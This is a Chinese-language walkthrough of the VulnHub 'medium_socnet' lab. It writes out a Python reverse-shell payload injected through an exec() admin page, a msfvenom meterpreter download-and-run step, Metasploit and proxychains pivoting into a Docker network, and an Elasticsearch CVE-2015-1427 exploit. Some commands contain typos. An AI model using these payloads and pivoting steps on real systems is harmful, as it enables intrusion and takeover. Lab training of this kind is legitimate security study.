靶机: medium_socnet
靶机: medium_socnet
准备工作
需要你确定的事情:
- 确定 kali 已经安装,并且能正常使用【本文不涉及 kali 安装配置】
- VirtualBox 以前能正常导入虚拟文件 ova 能正常使用
- 下载靶机: https://www.vulnhub.com/entry/boredbackerblog-social-network,454/ 如果下载过慢可以使用下载器【迅雷、Mortrix ...】,下载后需要进行 SHA1 或 MD5 验证 确定下载文件是否 有损或被篡改
靶机安装时部分错误解决方法【注:安装于 VirtualBox 】
网络设置为 仅主机模式 (Host-only)
使用 VirtualBox 启动虚拟机系统时碰到“不能为虚拟电脑打开一个新的任务”的错误提示,并提示
Implementation of the USB 2.0 controller not found!
Implementation of the USB 2.0 controller not found! Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings. Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
解决方法是在 设置 --> USB设备: 「USB 1.1 控制器」
Kali 网络配置:
kali 在 VMware 上配置双网卡:桥接模式 + NAT模式;使用 VMware 虚拟网络编辑器【以管理员身份打开】:将桥接模式的网卡 VMnet0 的桥接(G) 到 VirtualBox 网卡
- 网络适配器1:配置为桥接模式
- 网络适配器2:NAT模式
kali 在 VirtualBox 上配置双网卡:Host-only模式 + NAT模式;在 kali 的设置中网络选项
- 网卡1:Host-only模式 (仅主机模式)
- 网卡2:NAT模式
两种位置,最后都要打开 kali 进行调试,如果不会 vim 先查看一下使用方法避免错误操作
# 在命令行,使用前确定你是否是 root 如果不是需要添加 sudo
vim /etc/network/interfaces
vim 写入内容【 interfaces 文件最后】
auto eth1
iface eth1 inet dhcp
退出 vim 后在 命令行中
# 重启网络服务
service networking restart # 查看网络配置,确认 eth0 与 eth1 的 ip 配置是否正常
ip a
如果在
ip a
有部分问题可以重启 kali 再查看,如果网络配置依旧有问题,建议学习一下 Linux 网络配置的基本知识
开始打靶
第一步:锁定目标
可以使用 arp-scan
一类扫描工具,在使用工具前都需要 注意自身权限问题 ,必要时使用 sudo
arp-scan: 使用命令
arp-scan -l
扫描此命令是默认扫描,通过 eth0 进行的,如果你配置网络时 kali 与 靶机对接的网络是 eth1 需要指定扫描的接口 使用
--interface=
参数,此参数可以简写I
arp-scan -l --interface=eth1 # 或者
arp-scan -l -I eth1
通过 arp-scan 扫描得到信息:
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 08:00:27:f1:f5:a6, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.294 seconds (111.60 hosts/sec). 3 responded
第二步:端口扫描
我们可以大概锁定以下目标,使用 nmap 进行对端口进行探索
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:ef:45:40 PCS Systemtechnik GmbH
192.168.56.101 08:00:27:ff:2c:c8 PCS Systemtechnik GmbH
nmap: 比较简单的用法
nmap IP地址
- 参数
-p
扫描端口,如果是全部端口使用-
指代,比如:nmap -p- 192.168.56.101
- 参数
-sV
对端口上的服务程序版本进行扫描
- 参数
在扫描中发现 192.168.56.101
开发端口 22,5000
┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:24 CST
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
对 192.168.56.101
开发端口 22,5000 进一步扫描发现两个端口的服务程序版本
- 22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
- 5000: http Werkzeug httpd 0.14.1 (Python 2.7.15)
┌──(kali㉿kali)-[~]
└─$ nmap -p22,5000 -sV 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:31 CST
Nmap scan report for 192.168.56.101
Host is up (0.00078s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds
其中 5000 有 http 服务可以尝试在浏览器中访问一下 http://192.168.56.101:5000
- 在网页中并没有什么特别的,唯一有的一个数据输入点上也不能注入
- 可以使用爬虫类程序,探查 Web 应用是否存在 隐藏路径
第三步:攻击方式判断
使用工具 dirsearch
进行探查
- dirsearch 的基本参数
--url=
,比如:dirsearch --url=http://192.168.56.101:5000/
使用 dirsearch 进行简单探查发现隐藏目录 /admin
其中 admin 英文含义就可以知道这个隐藏页面与管理员可能有关系,可以对其访问 http://192.168.56.101:5000/admin
┌──(kali㉿kali)-[~]
└─$ dirsearch --url=http://192.168.56.101:5000/ 130 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txt
Error Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.log
Target: http://192.168.56.101:5000/
[11:40:29] Starting:
[11:40:58] 200 - 401B - /admin
Task Completed
访问后发现,里面的提示 Nothing was ran. Input some code to exec()
此内容与 python 相关,在前面端口探测中也知道此网站是 Werkzeug httpd 0.14.1 (Python 2.7.15)
而 Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行,那么我们可以尝试查找关于 Python 2.7.15
反弹 shell 的代码,通过 exec() 进入 192.168.56.101
这台机器了
Python 2.7.15
反弹 shell首先我们需要开启 kali 的监听,监听可以使用命令
netcat
也可以使用简化命令nc
netcat 部分参数
- -l 侦听模式,用于入站连接
- -n 禁止名称/端口解析
- -p 端口本地端口号,端口号可以是单独的,也可以是范围
- -v 信息细化,连用两次可以获得更详细的信息
# 使用端口注意,建议使用端口是 1024~49151 范围以内
# 公认端口:0~1023
# 注册端口:1024~49151
# 动态端口:49152~65535
netcat -lnvp 23333
在
http://192.168.56.101:5000/admin
页面内容注入 python 代码import os,subprocess,socket # 创建套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议 # 创建通信
s.connect(('192.168.56.103',23333)) # 重定向,保障通信的输入与输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2) # 生成反弹的 shell
p=subprocess.call(["/bin/sh","-i"]) # 使用时压缩上面的代码,以便 exec() 执行
import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
最终得到响应的反射 shell 结果,从此处我们就可以控制
192.168.56.101
这台机器了,并且有 root 级别权限┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
但我们还需要进一步深入探索,排除是否处在容器或蜜罐陷阱中
内网渗透
挖掘潜在价值
首先探索一下目录内容,查看是否有什么特别的
┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat ./Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]
发现其中有 Dockerfile 文件,查看里面的 发现我们可能处在容器中
- 查看根目录中是否存在
.dockerenv
文件 - 查看
/proc/1/cgroup
中的内容是否大量与 docker 有关
/app # ls /.dockerenv
/.dockerenv
/app # cat /proc/1/cgroup
11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
自此已经有相当大的把握确定我们处在容器中
服务代理
内网流量代理
- 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:
Client -> proxy -> Target
- 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:
Client <--> proxy <--> firewall <--> Target
代理需要关注 Socks 协议,代理工具一般的版本支持
- SOCKS4: 支持TELNET、FTPHTTP等TCP协议
- SOCKS5: 支持TCP与UDP,并支持安全认证方案
代理工具
- 端口转发工具:NC, LCX, regGorg, venom, ngrock ...
- 代理链工具:proxychains(Linux), proxifier(windows) ...
MSF 内网穿透
本处我们使用 MSF 进行内网穿透,如果没有 kali 安装命令 sudo apt-get install metasploit-framework
首页使用
msfvenom
生成linux/x64/meterpreter/reverse_tcp
模块的木马msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
上传生成的木马 shell.elf 通过在本地当前目录【shell.elf 所在的目录】使用
python3 -m http.server 80
挂起一个 HTTP 服务在目标容器系统中使用
wget
命令 [wget httlp://kali的ip地址/shell.elf] 下载本地的 shell.elf 之后使用 ls 命令确认其存在在 kali 上使用
msfconsole
命令后执行下列代码>
挂起kali本地自己192.168.56.103:4444
的监听msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.56.103
lhost => 192.168.56.103
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在目标容器系统中改 shell.elf 文件权限,使其可以执行并将其执行,也可以
chmod +x ./shell.elf && ./shell.elf
之后查看 kali 是否响应/app # chmod +x ./shell.elf
/app # ./shell.elf
在响应后使用 shell
调用目标容器系统 shell 进行简单的探查,比如使用 ip a
查看目标容器系统的内网状态,确定其内网网段 172.17.0.3/16
后使用 exit;
退出
```txt
[*] Started reverse TCP handler on 192.168.56.103:4444
[*] Sending stage (3045348 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.101:36424) at 2022-10-19 17:38:38 +0800
meterpreter > shell
Process 18 created.
Channel 1 created.
ls
Dockerfile
main.py
requirements.txt
shell.elf
templates
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
exit
```
将获取的网段
172.17.0.3/16
->172.17.0.0/16
添加路由run autoroute -s 172.17.0.0/16
命令,查看是否成功添加run autoroute -p
meterpreter > run autoroute -s 172.17.0.0/16 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.17.0.0/255.255.0.0...
[+] Added route to 172.17.0.0/255.255.0.0 via 192.168.56.101
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table
==================== Subnet Netmask Gateway
------ ------- -------
172.17.0.0 255.255.0.0 Session 1
创建成功之后我们将当前的会话挂起,使用
background
是将当前 msf 会话挂起,想重新利用会话使用sessions -i
其中 i 是会话编号meterpreter > background
[*] Backgrounding session 1...
好的,我们已经完成了最重要的一般,接下来是 socks 代理
继续前面的,使用
use auxiliary/server/socks_proxy
进入代理模块- 设置服务版本
set VERSION 4a
- 设置 IP
set SRVHOST Kali的IP
- 查看配置是否正确
show options
- 收尾
exploit
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
VERSION => 4a
msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.56.103
SRVHOST => 192.168.56.103
msf6 auxiliary(server/socks_proxy) > show options Module options (auxiliary/server/socks_proxy): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.103 yes The local host or network interface to listen on. This must be an address on the l
ocal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 1080 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a, 5) Auxiliary action: Name Description
---- -----------
Proxy Run a SOCKS proxy server msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 0. [*] Starting the SOCKS proxy server
- 设置服务版本
下一步,配置本地 proxychains 代理链工具【先确定是否安装,推荐使用新的 proxychains4】,上面的 shell 不用关闭,再开一个 kali 的 shell 并且在新的命令行使用命令,配置 proxychains 的代理列表添加
socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
touch proxychains.conf # 创建目录级的 proxychains 配置文件,我们不污染系统级的配置文件
sudo cat /etc/proxychains4.conf > ./proxychains.conf # 将系统级的配置文件复刻到当前目录的配置文件 proxychains.conf
vim ./proxychains.conf # 只需要修改最后一行 socks4 127.0.0.1 9050 改为 socks4 192.168.56.103 1080
完成整个代理步骤后可以通过
proxychains
或proxychains4
作为其他命令前缀探索内网,但我们使用的是目录级 proxychains 配置文件实验需要使用-f
参数指定配置文件proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24 # 172.17.0.0/24 是目标容器系统的内网网段,扫描过程中可能会比较费时【段扫描数量太大】
我们使用之前 msf 的那个 shell 执行
sessions -1
回到之前的挂起的会话,使用arp a
简单说明判断其他存活的 ipmeterpreter > arp -a ARP cache
========= IP address MAC address Interface
---------- ----------- ---------
172.17.0.1 02:42:e9:66:7d:b6
用 proxychains 的那个 shell 执行 nmap 扫描
172.17.0.1
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 19:15 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:80 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:25 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:993 <--denied
......
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:555 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:2047 <--denied
Nmap scan report for 172.17.0.1
Host is up (0.0074s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
开始正餐
行好,我们已经可以在目标容器内网使用 kali 了,下面我们真正的目标发起攻击
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1 255 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:24 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:22 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.1:5000 ... OK
Nmap scan report for 172.17.0.1
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds
- 发现与我们之前的目标容器非常相似,我们可以使用 firefox 设置代理访问
http://172.17.0.1:5000
浏览器代理方法自行百度,重点使用手动配置代理配置SOCKS 主机
与前面 proxychains.conf 一致 - 访问网页的结果与之前的相同,可以判断
172.17.0.1
便是之前192.168.56.101
的宿主机
测试探索 172.17.0.2
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2 130 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:39 CST
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1720 <--denied
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:1025 <--denied
......
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
[proxychains] Strict chain ... 192.168.56.103:1080 ... 172.17.0.2:9200 ... OK
Nmap scan report for 172.17.0.2
Host is up (0.0066s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
9200/tcp open http Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds
发现新线索,
172.17.0.2
的 9200 端口开启,运行服务 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 说明:Elasticsearch 是位于 Elastic Stack 核心的分布式搜索和分析引擎此处我们可以使用
searchsploit
查询 Elasticsearch 相关漏洞并尝试,攻入其中──(kali㉿kali)-[~/Workspace]
└─$ searchsploit Elasticse 130 ⨯
----------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------- ---------------------------------
ElasticSearch - Remote Code Execution | linux/remote/36337.py
ElasticSearch - Remote Code Execution | multiple/webapps/33370.html
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit) | java/remote/36415.rb
ElasticSearch 1.6.0 - Arbitrary File Download | linux/webapps/38383.py
ElasticSearch 7.13.3 - Memory disclosure | multiple/webapps/50149.py
ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal | php/webapps/37054.py
ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit) | java/remote/33588.rb
Elasticsearch ECE 7.13.3 - Anonymous Database Dump | multiple/webapps/50152.py
----------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
尝试一个
/usr/share/exploitdb/exploits/linux/remote/36337.py
但注意是否安装python2
以及其requests
如果没有使用以下代码sudo apt-get install python2 # 安装 python2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py # 安装 python2 的 pip2 如果有就跳过此步
python2 -m pip install requests # 安装 requests 包
proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 # 利用 36337.py 脚本
进入其中
──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf python2 36337.py 172.17.0.2
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$
可以看到下面报错了,查看错误是 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427) 想要要利用需要先查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains python2 a.py 172.17.0.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$ id
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
uid=0(root) gid=0(root) groups=0(root)
~$使用
curl
在 Elasticsearch 添加一条数据curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}' 1 ⨯
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
{"_index":"doc","_type":"test","_id":"AYP5xrq3R3Be1eJ72Xz3","_version":1,"created":true} ┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains python2 a.py 172.17.0.2
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16 ▓█████ ██▓ ▄▄▄ ██████ ▄▄▄█████▓ ██▓ ▄████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓
▓█ ▀ ▓██▒ ▒████▄ ▒██ ▒ ▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒
▒███ ▒██░ ▒██ ▀█▄ ░ ▓██▄ ▒ ▓██░ ▒░▒██▒▒▓█ ▄ ░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░
▒▓█ ▄ ▒██░ ░██▄▄▄▄██ ▒ ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░
░▒████▒░██████▒▓█ ▓██▒▒██████▒▒ ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓ ░▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ░ ░░ ░ ▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ░ ▒ ░ ░ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
Exploit for ElasticSearch , CVE-2015-1427 Version: 20150309.1
{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
~$ id
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.2:9200 ... OK
uid=0(root) gid=0(root) groups=0(root)
~$并且发现了一个passwords文件,查看文件得到一些账号密码使用
md5
进行解密【网络上一般有在线解密MD5的网站】,并将其解码得到密码,其中只有john:1337hack
